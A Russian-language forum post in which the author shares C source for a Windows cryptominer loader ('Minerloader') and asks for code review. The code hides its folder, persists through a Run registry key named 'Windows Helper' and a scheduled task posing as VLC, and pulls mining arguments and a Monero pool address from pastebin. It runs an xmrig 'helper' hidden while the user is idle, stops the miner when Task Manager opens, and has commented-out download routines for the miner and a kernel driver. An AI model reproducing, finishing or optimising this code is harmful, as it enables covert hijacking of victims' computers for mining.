Первая версия, на C это моя первая программа. Код кривой, частично писан не мной, а собран из кусочков, многое изменено уже мной. Но работает. Реализация местами хреновая. Сильно не пинать.
Зачем юникод? - Интересно было научиться писать с юникодом. Практического смысла это не несет. Было бы интересно услышать от гуру C, что можно поправить или оптимизировать.
Зачем юникод? - Интересно было научиться писать с юникодом. Практического смысла это не несет. Было бы интересно услышать от гуру C, что можно поправить или оптимизировать.
C:
#include <windows.h>
#include <cstdio>
#include <urlmon.h>
#include <shlwapi.h>
#include <tlhelp32.h>
#include <fstream>
#include "rawdata.h" // будет unsigned char* с полным 16-ричным кодом майнера, не реализовано, нужно в 64 бит
#pragma comment(lib, "urlmon.lib")
#pragma comment(lib, "Shlwapi.lib")
#pragma warning(disable : 4996)
#define MY_PRINTF(...) {WCHAR cad[512]; wsprintf(cad, __VA_ARGS__); OutputDebugString(cad);}
wchar_t szPasteB[256] = { 0 }; //Глобальная переменная - это бред, знаю, но до конца не научился работать правильно со строками
BOOL ControlHandler(DWORD dwControlEvent)
{
switch (dwControlEvent)
{
// User wants to shutdown
case CTRL_SHUTDOWN_EVENT:
return FALSE;
// User wants to logoff
case CTRL_LOGOFF_EVENT:
return FALSE;
// Ctrl + C
case CTRL_C_EVENT:
return TRUE;
// User wants to exit the "normal" way
case CTRL_CLOSE_EVENT:
return TRUE;
// Everything else, just ignore it...
default:
return FALSE;
}
}
/*
//decrypt xor string
void encryptDecrypt(char* input, char* output) {
char key[] = { 'k', 'e', 'y' };
unsigned int i;
for (i = 0; i < strlen(input); i++) {
output[i] = input[i] ^ key[i % (sizeof(key) / sizeof(char))];
}
}
*/
//Check if file exists
BOOL FileExists(const wchar_t* szPath)
{
DWORD dwAttrib = GetFileAttributes(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}
//Start m process
DWORD StartM(wchar_t* args)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
DWORD pid = 0;
WCHAR selfdir[MAX_PATH] = { 0 };
WCHAR helperpath[MAX_PATH] = { 0 };
try
{
GetModuleFileName(NULL, selfdir, MAX_PATH);
PathRemoveFileSpecW(selfdir);
wcscpy_s(helperpath, selfdir);
wcscat_s(helperpath, L"\\helper.exe");
MY_PRINTF(L"%s\n", helperpath);
if (FileExists(helperpath))
{
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
// Start the child process.
if (!CreateProcess(helperpath, args, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
{
MY_PRINTF(L"M process starting failed (%d).\n", GetLastError());
return 0;
}
else
{
MY_PRINTF(L"Process ID = %d started.\n", pi.dwProcessId);
}
// Wait until child process exits.
// WaitForSingleObject(pi.hProcess, INFINITE);
// Close process and thread handles.
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return pi.dwProcessId;
}
else
return 0;
}
catch (...)
{
MY_PRINTF(L"M process not started.\n");
return 0;
}
}
//Kill process with pid
BOOL KillProcess(DWORD pid)
{
DWORD dwDesiredAccess = PROCESS_TERMINATE;
BOOL bInheritHandle = FALSE;
HANDLE hProcess = OpenProcess(dwDesiredAccess, bInheritHandle, pid);
if (hProcess == NULL)
return FALSE;
BOOL result = TerminateProcess(hProcess, 0);
CloseHandle(hProcess);
return TRUE;
}
//stop m process
BOOL StopM(DWORD pid)
{
try
{
if (pid > 0)
{
KillProcess(pid);
MY_PRINTF(L"Process ID = %d stopped.\n", pid);
}
return FALSE;
}
catch (...)
{
MY_PRINTF(L"M process not stopped.\n");
return FALSE;
}
return TRUE;
}
//Create task in task scheduler
void CreateTask() // можно реализовать через вызовы WINAPI, но там код гораздо длиннее, а преимуществ пока не вижу
{
WCHAR czExePath[MAX_PATH] = { 0 };
WCHAR cmdLine[512] = { 0 };
STARTUPINFO si;
PROCESS_INFORMATION pi;
try
{
GetModuleFileName(NULL, czExePath, MAX_PATH);
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
wsprintf(cmdLine, L"cmd /c schtasks /create /sc MINUTE /mo 5 /tn \"VLC\\Task\" /tr \"%s\" /f", czExePath);
//MY_PRINTF(cmdLine);
if (!CreateProcess(NULL, cmdLine, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
{
MY_PRINTF(L"Scheduler task creation failed (%d).\n", GetLastError());
}
else
{
MY_PRINTF(L"Scheduler task successfully created.\n");
}
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
catch (...)
{
MY_PRINTF(L"Scheduler task not created.\n");
}
}
//Delete task in task scheduler
void DeleteTask()
{
WCHAR cmdLine[128] = { 0 };
STARTUPINFO si;
PROCESS_INFORMATION pi;
try
{
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
wsprintf(cmdLine, L"cmd /c schtasks /delete / tn \"VLC\\Task\" / f");
if (!CreateProcess(NULL, cmdLine, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
{
MY_PRINTF(L"Scheduler task creation failed (%d).\n", GetLastError());
}
else
{
MY_PRINTF(L"Scheduler task successfully deleted.\n");
}
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
catch (...)
{
MY_PRINTF(L"Scheduler task not deleted.\n");
}
}
/*
//Download m from internet, helper - xmrig
void DownloadHelperFromURL()
{
WCHAR self_dir[MAX_PATH] = { 0 };
WCHAR helper_path[MAX_PATH] = { 0 };
const wchar_t* helper_url = L"your_url";
try
{
GetModuleFileName(NULL, self_dir, MAX_PATH);
PathRemoveFileSpecW(self_dir);
wcscpy_s(helper_path, self_dir);
wcscat_s(helper_path, L"\\helper.exe");
if (!FileExists(helper_path))
{
if (URLDownloadToFile(0, helper_url, helper_path, 0, 0) == S_OK)
{
MY_PRINTF(L"Helper was downloaded.");
}
}
}
catch (...)
{
MY_PRINTF(L"Helper download error.");
}
}
//Download driver from internet
void DownloadWinsysFromURL()
{
WCHAR self_dir[MAX_PATH] = { 0 };
WCHAR driver_path[MAX_PATH] = { 0 };
const wchar_t* driver_url = L"your_url";
try
{
GetModuleFileName(NULL, self_dir, MAX_PATH);
PathRemoveFileSpecW(self_dir);
wcscpy_s(driver_path, self_dir);
wcscat_s(driver_path, L"\\WinRing0x64.sys");
if (!FileExists(driver_path))
{
if (URLDownloadToFile(0, driver_url, driver_path, 0, 0) == S_OK)
{
MY_PRINTF(L"Driver was downloaded.");
}
}
}
catch (...)
{
MY_PRINTF(L"Driver download error.");
}
}
*/
//Get public ip and raw pastebin
void GetRawDataFromURL()
{
wchar_t* Token = NULL;
wchar_t* ptr = NULL;
WCHAR self_dir[MAX_PATH] = { 0 };
WCHAR szPath[MAX_PATH] = { 0 };
WCHAR szRead[128] = { 0 };
GetModuleFileName(NULL, self_dir, MAX_PATH);
PathRemoveFileSpecW(self_dir);
DWORD attr = GetFileAttributes(self_dir);
if ((attr & FILE_ATTRIBUTE_HIDDEN) == 0) {
SetFileAttributes(self_dir, attr + FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM);
}
GetTempPath(256, szPath);
wcscat_s(szPath, L"ip");
try
{
if (URLDownloadToFile(0, L"http://checkip.dyndns.org/", szPath, 0, 0) == S_OK) {
FILE* fIpHtm;
errno_t err;
if ((err = _wfopen_s(&fIpHtm, szPath, L"r")) == 0)
{
fgetws(szRead, 128, fIpHtm);
Token = wcsrchr(szRead, ':');
Token = wcstok(Token, L"<");
ptr = lstrcpyn(szRead, Token + 2, sizeof(szRead)); // не знаю, как это написать безопасно
//MY_PRINTF(L"%s\n", szRead);
}
if (fIpHtm)
fclose(fIpHtm);
}
}
catch (...)
{
MY_PRINTF(L"Could not get public IP.\n");
}
try
{
if (URLDownloadToFile(0, L"https://pastebin.com/raw/xxx", szPath, 0, 0) == S_OK) { //Странная реализация, но короткой, так чтобы сразу в память, пока не знаю, кроме curl, но не хочу увеличивать файл exe
FILE* fIpHtm;
errno_t err;
if ((err = _wfopen_s(&fIpHtm, szPath, L"r")) == 0)
{
if (fIpHtm != 0)
{
fgetws(szPasteB, 256, fIpHtm);
if (wcslen(szRead) > 0)
wcscat_s(szPasteB, szRead);
}
}
if (fIpHtm)
fclose(fIpHtm);
if (FileExists(szPath))
DeleteFile(szPath);
}
}
catch (...)
{
MY_PRINTF(L"Could not get pastebin raw data.\n");
}
if (wcslen(szPasteB) == 0)
{
wcsncpy_s(szPasteB, L"--donate-level=1 -o pool.supportxmr.com:443 -u xxx -k --tls -p O-", 256);
if(wcslen(szRead)>0)
wcscat_s(szPasteB, szRead);
}
}
//Create registry autorun
void CreateAutorun()
{
HKEY hKey;
const wchar_t* czStartName = L"Windows Helper";
WCHAR czExePath[MAX_PATH] = { 0 };
try
{
GetModuleFileName(NULL, czExePath, MAX_PATH);
LSTATUS lnRes = RegOpenKeyEx(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey);
if (ERROR_SUCCESS == lnRes)
{
//MY_PRINTF(L"%d\n", wcslen(czExePath)+1);
//MY_PRINTF(L"%d\n", sizeof(wchar_t));
DWORD count = (DWORD)((wcslen(czExePath) + 1) * sizeof(wchar_t));
//MY_PRINTF(L"%d", count);=130
lnRes = RegSetValueEx(hKey, czStartName, 0, REG_SZ, (LPBYTE)czExePath, count);
MY_PRINTF(L"\nRegistry record successfully created.\n");
}
else
{
MY_PRINTF(L"\nCould not create registry record.");
}
RegCloseKey(hKey);
}
catch (...)
{
MY_PRINTF(L"Registry record not created.\n");
}
}
//Check user idle time
ULONGLONG GetIdleTime()
{
LASTINPUTINFO last_input;
last_input.cbSize = sizeof(LASTINPUTINFO);
GetLastInputInfo(&last_input);
ULONGLONG time_elapsed = GetTickCount64();
return (time_elapsed - last_input.dwTime) / 1000;
}
//Find process by id
DWORD FindProcessId(const wchar_t* processname)
{
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
DWORD result = NULL;
// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcessSnap) return(FALSE);
pe32.dwSize = sizeof(PROCESSENTRY32); // <----- IMPORTANT
// Retrieve information about the first process,
// and exit if unsuccessful
if (!Process32First(hProcessSnap, &pe32))
{
CloseHandle(hProcessSnap); // clean the snapshot object
MY_PRINTF(L"!!! Failed to gather information on system processes! \n");
return(NULL);
}
do
{
//MY_PRINTF(L"Checking process %ls\n", pe32.szExeFile);
//MY_PRINTF(pe32.szExeFile);
if (0 == _wcsicmp(processname, pe32.szExeFile))
{
result = pe32.th32ProcessID;
break;
}
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return result;
}
//Main function, entry point
INT __stdcall WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ PSTR lpCmdLine, _In_ INT nCmdShow)
{
unsigned char idleTimer = 60; //seconds
bool mRunning = false;
DWORD pid = 0;
DWORD helper_pid = 0;
SetConsoleCtrlHandler((PHANDLER_ROUTINE)ControlHandler, TRUE);
CreateMutexA(0, FALSE, "Local\\Minerloader"); // try to create a named mutex
if (GetLastError() == ERROR_ALREADY_EXISTS) // did the mutex already exist?
return -1; // quit; mutex is released automatically
if (helper_pid = FindProcessId(L"helper.exe"))
{
KillProcess(helper_pid);
MY_PRINTF(L"Helper process %d was killed.", helper_pid);
}
//Autorun
CreateAutorun();
DeleteTask();
CreateTask();
//Get data and files from internet
GetRawDataFromURL();
//DownloadHelperFromURL();
//DownloadWinsysFromURL();
//pid = StartM(szPasteB);
//main cicle
for (;;)
{
Sleep(1000);
if (FindProcessId(L"taskmgr.exe") > 0 || FindProcessId(L"Taskmgr.exe") > 0)
{
if (pid > 0)
{
StopM(pid);
}
MY_PRINTF(L"Task manager detected.");
return 0;
}
if (GetIdleTime() >= idleTimer && !mRunning)
{
MY_PRINTF(L"System is idle.\n");
pid = StartM(szPasteB);
MY_PRINTF(L"%s\n", szPasteB);
mRunning = true;
}
if (GetIdleTime() < idleTimer && mRunning)
{
MY_PRINTF(L"System no longer idle.\n");
StopM(pid);
mRunning = false;
}
}
return 0;
}
Последнее редактирование: